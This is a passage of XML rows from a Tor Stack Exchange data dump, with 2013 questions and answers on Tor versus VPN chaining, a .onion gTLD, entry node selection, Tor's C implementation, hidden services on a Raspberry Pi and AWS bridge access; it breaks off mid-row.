  <row Id="443" PostTypeId="4" CreationDate="2013-10-09T04:37:23.930" Score="0" Body="Questions related to using Tor on mobile devices such as smartphones or tablets. " OwnerUserId="24" LastEditorUserId="24" LastEditDate="2013-10-09T14:50:52.820" LastActivityDate="2013-10-09T14:50:52.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="444" PostTypeId="2" ParentId="440" CreationDate="2013-10-09T04:40:44.857" Score="2" Body="&lt;p&gt;I believe you can do this if your VPN provider allows it, however it seems like would de-anonymize your traffic as all exit traffic would be linked to you (if it's your VPN.) You of course could argue that you were running a relay so the traffic isn't yours, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you're asking if you can connect to your VPN via tor, then this is very bad unless the VPN has nothing to link you to it, like a credit card, etc.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2013-10-09T04:40:44.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostTypeId="1" AcceptedAnswerId="447" CreationDate="2013-10-09T08:13:09.363" Score="13" ViewCount="15560" Body="&lt;p&gt;I just decided to buy a new router that support the OpenVPN protocols called &quot;Linksys E4200&quot;. It is a very very good router. I read about Tor Over VPN &amp;amp; VPN over Tor. So my first question is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What the difference between those techniques &quot;Tor Over VPN&quot; &amp;amp; &quot;VPN over Tor&quot;?&lt;/li&gt;&#xA;&lt;li&gt;What is the best methodology to make my connection secured as a rock :) is it Tor over VPN or VPN over tor!? I read about the VPN over Tor is more secured and very good!&lt;/li&gt;&#xA;&lt;li&gt;How to implement the best of them!&lt;/li&gt;&#xA;&lt;li&gt;From the first line I said I will buy a new router that will support the VPN protocols so all my traffic will go through the VPN using my router ... so how could i use that new router to make the best anonymity &amp;amp; privacy for my connection .. i think if i used my new router with active VPN this will be Tor over VPN, right !?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="295" LastEditorUserId="88" LastEditDate="2014-01-29T12:17:12.907" LastActivityDate="2021-09-19T20:35:31.240" Title="Secure my connection with VPN router &amp; Tor" Tags="|vpn|openvpn|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostTypeId="1" AcceptedAnswerId="9324" CreationDate="2013-10-09T09:07:59.617" Score="16" ViewCount="1647" Body="&lt;p&gt;For some weeks in 2012, &quot;arbitrary&quot; gTLDs &lt;a href=&quot;http://en.wikipedia.org/wiki/Generic_top-level_domain#Expansion_of_gTLDs&quot; rel=&quot;nofollow noreferrer&quot;&gt;could be applied for&lt;/a&gt; at ICANN:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On June 20, 2011 ICANN's board voted to end most restrictions on the generic top-level domain names (gTLD) from the 22 currently available. Companies and organizations will be able to choose essentially arbitrary top-level Internet domains.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to a search on &lt;a href=&quot;https://gtldresult.icann.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gtldresult.icann.org/&lt;/a&gt;, no one tried to register &lt;code&gt;.onion&lt;/code&gt; in the last application period. I’m not sure, but I guess ICANN will open the application system again, sometime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does the Tor project plan to register the &lt;code&gt;.onion&lt;/code&gt; TLD with ICANN?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the Tor project have any privilege to claim this TLD, so that no one else may register it beforehand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone else would register &lt;code&gt;.onion&lt;/code&gt; and create domains matching those of hidden services, we’d have two incompatible systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(EDIT: see also the related questions &quot;&lt;a href=&quot;https://tor.stackexchange.com/q/750/320&quot;&gt;How would a registration of the .onion gtld impact the tor network?&lt;/a&gt;&quot; and &quot;&lt;a href=&quot;https://superuser.com/q/652885/151741&quot;&gt;What happens when I visit a .onion website&lt;/a&gt;&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="320" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2018-04-22T16:13:00.460" Title="Register .onion as gTLD?" Tags="|onion-services|dns|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostTypeId="2" ParentId="445" CreationDate="2013-10-09T09:54:00.250" Score="13" Body="&lt;p&gt;&lt;strong&gt;Linksys Router&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that both &lt;a href=&quot;http://www.dd-wrt.com/wiki/index.php/Linksys_E4200&quot;&gt;dd-wrt&lt;/a&gt; and &lt;a href=&quot;http://tomatousb.org/doc%3abuild-types&quot;&gt;TomatoUSB&lt;/a&gt; firmware builds are available for the Linksys E4200. Both dd-wrt and TomatoUSB are Linux-based firmware. Either firmware can run either an OpenVPN client or a Tor client, but not simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, while the Linksys E4200 is adequate as a Tor client, it arguably doesn't have enough CPU or RAM to make a good Tor router. Its performance as an OpenVPN client is similarly limited. If you want more than 50 Mbps VPN traffic, you'll need better hardware. And by the way, DO NOT use HideMyAss as your VPN provider. They do not protect their users' privacy! EarthVPN also sells out its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor Tunneled Through VPN&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tor tunneled through VPN&quot; means just that. A VPN client running on a local device (computer or router) establishes a virtual private (securely encrypted) network connection (VPN tunnel) to the VPN service's exit server (perhaps through one or more intermediary VPN servers). Instead of seeing your ISP-assigned IP address, Internet observers see the exit server's IP address. It's rather like a virtual NAT router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor client reaches an entry guard through the VPN tunnel, circuits are established, and so on. Tunneling Tor through VPN is very easy. Both clients can run on the same computer, and the Tor client will connect to entry guards through the VPN. With proper network routing and firewall rules, all applications will connect to the Internet through the VPN tunnel. If the VPN connection dies, there will be no Internet connectivity, for the Tor client or any other application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VPN Tunneled Through Tor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;VPN tunneled through Tor&quot; is just the reverse. A Tor client running on a local device connects to entry guards and establishes Tor circuits. Then a VPN client connects with a VPN server through Tor. Because Tor can only route TCP traffic, you must run the VPN in TCP mode. Once the VPN tunnel is established, you can route both TCP and UDP traffic through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the mechanics of tunneling VPN tunnels through Tor is more complicated than tunneling Tor through VPNs. Unless you're a networking expert, the Tor and VPN clients must be on separate machines, or at least on separate virtual machines (VMs). If you run a Tor client on your router, for example, you can run a VPN client on one of your computers, and the VPN will be tunneled through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which One To Use?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is better, &quot;Tor tunneled through VPN&quot; or &quot;VPN tunneled through Tor&quot;, depends on your goals. It may be that you want both, &quot;VPN2 tunneled through  Tor, which is tunneled through VPN1&quot;. You might even want additional VPN nesting (one VPN tunneled through another) on either side of Tor, in order to further complicate traffic analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor tunneled through VPN, your ISP and associates don't see IP addresses of Tor entry guards. However, Tor traffic can be identified through its &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot;&gt;fingerprint/signature&lt;/a&gt;, and it's possible that it can be detected &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN#VPNSSHFingerprinting&quot;&gt;even though Tor is tunneled through a VPN&lt;/a&gt;. However, unless such analysis were performed routinely on all VPN connections, which seems unlikely, Tor users wouldn't be readily identified by ISPs and other local observers. Where discretion is particularly important, users could employ &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot;&gt;additional obfuscation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, entry guards run by adversaries could not directly see your ISP-assigned IP address. With one VPN, it's not hard to trace users. But nested VPN chains (comprising 2-4 VPNs, tunneled in succession) take more effort to compromise, as long as all of the VPN services have many users, and if there are no money trails linking you to the VPN providers. The risk of compromise can be further reduced by using VPN providers that operate in poorly-cooperating spheres of influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With VPNs tunneled through Tor, all of your traffic through Tor exit relays is encrypted by the VPN. However, VPN exits can see any unencrypted traffic, just as Tor exit relays can. Using VPNs tunneled through Tor gives you a stable IP address, and allows you to access sites that block Tor exits. As noted, you can freely use any application over the VPN, as long as the VPN tunnel has been properly secured by routing and firewall rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, tunneling VPNs through Tor reduces anonymity, because the circuit persists until the VPN connection is interrupted. That can be a long time, because VPN tunnels by design are very persistent and fault tolerant. Also, because traffic through the VPN doesn't interact with the Tor network, you won't be able to access Tor hidden services (except through Internet-to-Tor gateways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tunneling a VPN through Tor would be appropriate where you want to establish a persistent online pseudonym, and freely use all Internet resources and protocols, and yet do not want any of that to be linked to your true name and ISP-assigned IP address. In doing that, you're trading full Tor anonymity for usability. Indeed, if you're creating a persistent pseudonym, it's advantageous to create a highly-interconnected graph of Internet usage, because you look more like the rest. Indeed, you can create a complex network of identities, with some (such as mirimir) that seem to be pseudonyms for others (redacted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Implementation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to implement these setups. If you want a VPN or Tor client on the router, you'll probably need to decide which. It may be possible to have both clients installed on the router, and toggle between them at boot. But I don't know whether the Linksys E4200 has enough flash storage for both, or how hard it would be to toggle between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, it's best to use either no client on the router, or the OpenVPN client. I like the flexibility of connecting directly (no VPN or Tor) for activities under my true name. And I prefer that my ISP and associates see that I'm using a VPN service, rather than Tor. That's because Tor use is arguably less common, and so attracts more attention. I run various VirtualBox host machines, with gateway VMs for VPN services and Tor, Linux workspace VMs and LiveCD VMs, Whonix VMs, and so on. For some work, I use such host machines as multifunction (VPN and Tor) routers for other host machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more specifics about implementation, please ask a more specific question.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-10T20:33:29.697" LastActivityDate="2013-10-10T20:33:29.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="448" PostTypeId="2" ParentId="435" CreationDate="2013-10-09T11:18:46.317" Score="3" Body="&lt;p&gt;I'd say that building such an &quot;option fuzzer&quot; would be quite hard, because you'd have to put in a lot of domain knowledge which combinations of options should be permitted, or you'd generate lots of false positives.  Also, how do you define &quot;working&quot;?  I'd also say that an option fuzzer wouldn't be very useful, as opposed to fuzzers for the ports that are opened to the Internet, like OR or directory port.  Overall, a better approach would be to write a good set of unit tests for &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/config.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/or/config.c&lt;/code&gt;&lt;/a&gt; and friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to try this anyway, please don't run these tors in the public Tor network.  You could use the &lt;code&gt;--verify-config&lt;/code&gt; switch to test a configuration and exit.  Or you could &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#HowdoIsetupmyownprivateTornetwork&quot; rel=&quot;nofollow&quot;&gt;run a private Tor network using Chutney or Shadow&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="88" LastEditDate="2013-10-09T11:22:34.717" LastActivityDate="2013-10-09T11:22:34.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="449" PostTypeId="1" AcceptedAnswerId="451" CreationDate="2013-10-09T12:58:45.720" Score="5" ViewCount="1819" Body="&lt;p&gt;If I know of an entry node that I know the device running it is not malicious or being watched, do I have the ability to only use that as an entry point? And would this be potentially more secure than using a random node that could be run by a malicious party?&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2013-10-09T13:43:45.277" Title="Is it posible to choose what entry node you want to use?" Tags="|security|deanonymization|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostTypeId="2" ParentId="449" CreationDate="2013-10-09T13:08:41.380" Score="3" Body="&lt;p&gt;Your question is somewhat similar to &lt;a href=&quot;https://tor.stackexchange.com/q/260/88&quot;&gt;Getting Tor to randomly use various Country IP's per session&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the name or fingerprint of the node, open the &lt;code&gt;torrc&lt;/code&gt; and insert the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNode name&#xA;EntryNode $fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you restart Tor it will use the entry nodes if avalaible.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-09T13:08:41.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostTypeId="2" ParentId="449" CreationDate="2013-10-09T13:43:45.277" Score="2" Body="&lt;p&gt;Using your own entry node (or a known good one) may be marginally more secure than using a random one but it also means that somebody targeting you only has to target your one, constant entry node to be able to correlate your traffic which is much more difficult if you are using random nodes.&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2013-10-09T13:43:45.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="453" PostTypeId="2" ParentId="445" CreationDate="2013-10-09T23:54:19.733" Score="4" Body="&lt;p&gt;VPN must be considered more of a circumvention tool rather than an anonymity tool. Even for circumvention Tor stands very well in cases that public known entry nodes are blocked, with the use of (obfuscate) bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're seeking anonymity Tor is the way to go. Tor is using a three-hop circuit to establish an anonymous path to your destination. No single node is aware of the whole path, thus is unable to identify you and your destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use Tor over VPN, the VPN provider is able to know that you're using Tor and your entry node. The upside is that you're hiding the fact that you're using Tor from your ISP. Have in mind that various VPN providers have logged and given away users' information, whereas there is not such incident with Tor. That doesn't mean that your adversary is not operating a Tor node. It's just that Tor is designed (see guard nodes) in order to minimize the adversary's power that controls a number of nodes. Using Tor over VPN doesn't not enhance your anonymity, in fact it introduces another &quot;player&quot; in your way to the Internet. Using Tor over VPN would make sense only in extreme cases when Tor's circumvention (bridges) doesn't work due to a high-tech oppressing environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use VPN over Tor, you are hiding your identity from the VPN provider but that's all you hide. Neither this scheme offers you anonymity, on the contrary VPN provider does know all your exit traffic and at the same time you have lost the advantage of Tor which uses different paths to the destination. VPN over Tor will use pretty much the whole time the same IP address to reach the destination. That enables profiling of your internet habits and degrades your anonymity. Still, there is a use case when VPN over Tor could be used : when you want to reach a service that blocks tor exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To conclude, using a VPN does not offer any additional anonymity and should be the last refugee in case (obfs) bridges of Tor don't work.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-10-10T02:55:04.073" LastActivityDate="2013-10-10T02:55:04.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostTypeId="1" AcceptedAnswerId="467" CreationDate="2013-10-10T00:05:31.447" Score="11" ViewCount="2388" Body="&lt;p&gt;Why is Tor implemented in the C programming language?  Was that decision a matter of luck or taste of Tor's inventors?  Are there any advantages of implementing this kind of technology in C?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="58" LastEditDate="2013-10-10T18:22:12.497" LastActivityDate="2013-10-10T18:22:12.497" Title="Why is Tor written in C?" Tags="|implementations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostTypeId="1" CreationDate="2013-10-10T00:43:12.820" Score="2" ViewCount="867" Body="&lt;p&gt;For low bandwidth and slow DoS / DDoS attacks (for example &lt;a href=&quot;https://en.wikipedia.org/wiki/Slowloris&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slowloris&lt;/a&gt;, &lt;a href=&quot;http://www.cathaycenturies.com/blog/?p=844&quot; rel=&quot;nofollow noreferrer&quot;&gt;SlowLoris and PyLoris&lt;/a&gt;) the Tor network seems to be very useful medium. For free it offers two important things to the attacker:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nice amount of exit relays&lt;/li&gt;&#xA;&lt;li&gt;Anonymity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The low bandwidth attacks do need neither high bandwidth nor low latency which would be problematic for many other types of DoS / DDoS attacks. On the other side the list of exit relays is known so it makes blocking of an ongoing attack easier.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there any other serious obstacle for such attacks over Tor?&lt;/li&gt;&#xA;&lt;li&gt;Are there known cases when was the Tor network abused for a successful low bandwidth attack?&lt;/li&gt;&#xA;&lt;li&gt;Were any counter-measures against such abuse considered? I can imagine for example limiting number of exit-relays a single Tor client can create circuits to though such a limitation could be overcame by modifying the Tor client or running multiple instances of it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a related question: &lt;a href=&quot;https://security.stackexchange.com/q/19698/9492&quot;&gt;mitigating anonymous DOS (tor combined with pyloris)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2017-12-05T02:48:23.323" Title="Are low bandwidth DoS attacks performed over the Tor network a problem to be considered?" Tags="|attacks|abuse|dos|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostTypeId="2" ParentId="446" CreationDate="2013-10-10T05:41:28.267" Score="6" Body="&lt;p&gt;Always useful to search Tor's bug tracker. They discussed it, see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6116&quot;&gt;Ticket #6116: apply for .onion gTLD at IANA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say it's undecided. There are no plans to spend the money for now, but if one of Tor's sponsors wanted them to apply for that domain in future, they'd do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd speculate, it's pretty unlikely. I guess they would rather talk their sponsors into sponsoring full time develop(s) for that money.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-10T05:41:28.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="458" PostTypeId="1" AcceptedAnswerId="459" CreationDate="2013-10-10T08:14:50.923" Score="4" ViewCount="3162" Body="&lt;p&gt;I want to set up a Tor hidden service on a Raspberry Pi. What is a good way to do that? Maybe start with Occidentalis v0.2 by Adafruit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a special tutorial for the Raspberry PI?&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="58" LastEditDate="2013-10-10T18:02:12.420" LastActivityDate="2013-10-10T18:02:34.343" Title="Tor hidden service on Raspberry Pi" Tags="|onion-services|raspberry-pi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="459" PostTypeId="2" ParentId="458" CreationDate="2013-10-10T08:55:36.417" Score="3" Body="&lt;p&gt;It would depend on what distro you are using. I have Tor running pretty well on ARCH on my PI, there are good instructions &lt;a href=&quot;https://wiki.archlinux.org/index.php/tor&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have an issue with &quot;Problem with user value&quot; but that is also detailed on the how to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that it seems just the same as any other Linux OS, so you can follow the &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;usual instructions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="58" LastEditDate="2013-10-10T18:02:34.343" LastActivityDate="2013-10-10T18:02:34.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="460" PostTypeId="1" AcceptedAnswerId="461" CreationDate="2013-10-10T09:11:43.177" Score="2" ViewCount="775" Body="&lt;p&gt;I just set up a Tor Bridge on a Amazon AWS Server (very good explanation how to do that on &lt;a href=&quot;https://cloud.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now its up and running and I try to access it. I copied the private key (tor-cloud-servers.pem) into my home directory and then tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -i tor-cloud-server.pem root@ec2-54-221-135-106.compute-1.amazonaws.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it says &quot;Identity file tor-cloud-server.pem not accessible. No such file or directory&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-04-06T02:59:08.213" Title="Accessing my Amazon AWS Tor Bridge" Tags="|tor-cloud|ssh|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="461" PostTypeId="2" ParentId="460" CreationDate="2013-10-10T09:46:29.600" Score="4" Body="&lt;p&gt;Looks like &lt;code&gt;ssh&lt;/code&gt; can't find your key file.  Is the file name &lt;code&gt;tor-cloud-server.pem&lt;/code&gt; or &lt;code&gt;tor-cloud-servers.pem&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are you running this command from your home directory?  If not, try an absolute path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;ssh -i ~/tor-cloud-server.pem root@ec2-54-221-135-106.compute-1.amazonaws.com&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-10T09:46:29.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="462" PostTypeId="1" AcceptedAnswerId="474" CreationDate="2013-10-10T09:53:39.467" Score="1" ViewCount="313" Body="&lt;p&gt;I set up an AWS server as a private bridge, but actually wanted to have a obfsproxy bridge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change it later, or should I delete the old server and set up a new one?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2013-10-11T06:28:43.480" Title="How can I change from a private to a obfsproxy bridge on Amazon AWS?" Tags="|bridge|tor-cloud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostTypeId="2" ParentId="456" CreationDate="2013-10-10T12:17:04.787" Score="1" Body="&lt;p&gt;Tor Network's goal is to provide anonymity and circumvention for the users in need of them. Deploying any kind of attack, is simply abusing the Tor Network. Targets of the attack, or even network providers of the targets, probably will block the exit or all Tor nodes. This would mean seriously degrading the Tor user experience, since they will not be able to access various places in the Internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, all in all, the problem is not the bandwidth. The problem is that an attack is considered and many times proved to be harmful for the Network and it's users.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-10-10T12:17:04.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="465" PostTypeId="1" AcceptedAnswerId="513" CreationDate="2013-10-10T13:21:33.087" Score="9" ViewCount="5447" Body="&lt;p&gt;I have thought about some of the security issues inherent in email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example that even if the body is encrypted the headers are plain text so metadata is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this could be mitigated by using Tor and SMTP hidden services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you send an email from &lt;code&gt;me@abcdefg.onion&lt;/code&gt; to &lt;code&gt;you@hijklmnop.onion&lt;/code&gt; using standard mail programs and hidden services / transparent proxy? It would seem feasible to me, but as I can't see that anyone has suggested it I figure there must be some problem with the idea. What is stopping this from working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it happening and I have missed it?&lt;/p&gt;&#xA;" OwnerUserId="329" LastEditorUserId="71" LastEditDate="2013-11-11T18:13:20.823" LastActivityDate="2014-07-28T01:05:03.283" Title="Is it possible to run a secure email network using SMTP over Tor?" Tags="|onion-services|anonymity|surveillance|email|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="467" PostTypeId="2" ParentId="455" CreationDate="2013-10-10T14:50:16.367" Score="17" Body="&lt;p&gt;It's a complicated question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason is historical.  When we started out, Roger was only really comfortable in C and Perl.  I knew more languages, but I didn't join Tor as a serious contributor until Roger had already been working on the project for a while.  (Even if I had been doing as much of the initial work as Roger did, I'm still not sure I would have gone with something else. Back in 2002, Java wasn't so mature, and .)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said: in my opinion, there are some parts of a program like Tor that you really &lt;strong&gt;must&lt;/strong&gt; implement in C or some other compiled low level language.  I'm thinking of cryptography in particular: in order to do fast, safe, efficient cryptography, you really need access to the CPU instruction set. (Some people would argue that C is too high-level for good cryptography, and all crypto should be done in assembly.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that doesn't mean that C is the best implementation language for all of Tor today. I'd prefer to move to an architecture where only the core networking module and a bit of glue code would be implemented in C, and the rest would run sandboxed in other processes, written in more high-level memory-safe languages.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2013-10-10T14:50:16.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostTypeId="2" ParentId="436" CreationDate="2013-10-10T18:15:12.370" Score="8" Body="&lt;p&gt;TAP is the original Tor Authentication Protocol, the one described in the &lt;a href=&quot;http://freehaven.net/anonbib/#tor-design&quot; rel=&quot;nofollow&quot;&gt;original Tor paper&lt;/a&gt; (&lt;a href=&quot;http://freehaven.net/anonbib/cache/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;html&lt;/a&gt;).  A security proof was later done by &lt;a href=&quot;http://freehaven.net/anonbib/#tap:pet2006&quot; rel=&quot;nofollow&quot;&gt;Goldberg at PET2006&lt;/a&gt; and I think this is where the name of the scheme and the TAP acronym comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NTor is a new protocol that aims to use faster and stronger cryptographic primitives.  It is specified in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/216-ntor-handshake.txt&quot; rel=&quot;nofollow&quot;&gt;proposal 216&lt;/a&gt; and implemented in the &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.8-alpha:/ChangeLog#l21&quot; rel=&quot;nofollow&quot;&gt;Tor 0.2.4.x branch&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="88" LastEditDate="2016-09-22T07:45:30.087" LastActivityDate="2016-09-22T07:45:30.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="469" PostTypeId="1" CreationDate="2013-10-10T19:28:08.110" Score="3" ViewCount="512" Body="&lt;p&gt;Relay setting in Vidalia has two options for relaying: &quot;for the Tor network&quot; and &quot;inside the Tor network&quot;. The options enable relaying either just inside the Tor network or additionally out of the Tor network (exit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the Tor relay recognize if the incoming/outgoing packets are going to leave the Tor network (exit)? Do non-exit packets have a special form different from the exit packets?&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="114" LastEditDate="2013-10-11T06:50:40.867" LastActivityDate="2014-07-30T07:34:16.910" Title="How are the exit and non-exit packets in the Tor relay system recognized?" Tags="|relays|exit-relays|guard-node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="470" PostTypeId="1" AcceptedAnswerId="475" CreationDate="2013-10-10T19:54:25.643" Score="4" ViewCount="358" Body="&lt;p&gt;I noticed something when letting a relay (non exit) run for a few days: The amount of traffic sent is larger than the amount received.&#xA;This is confirmed by looking at the tor log and also by looking at &lt;code&gt;ifconfig&lt;/code&gt;.&#xA;Examples of one day:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...]I've sent 556.92 GB and received 456.66 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]I've sent 670.04 GB and received 546.71 GB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]I've sent 861.17 GB and received 687.35 GB. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]I've sent 1060.14 GB and received 849.68 GB.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is that? From my understanding the relay has to forward any traffic it receives from a client or an entry node to the next relay or the exit. Any reply will also flow through the relay the other way around. Shouldn't the amounts of data roughly match?&lt;/p&gt;&#xA;" OwnerUserId="342" LastEditorUserId="119" LastEditDate="2013-10-11T08:02:59.800" LastActivityDate="2013-10-11T08:02:59.800" Title="Why is 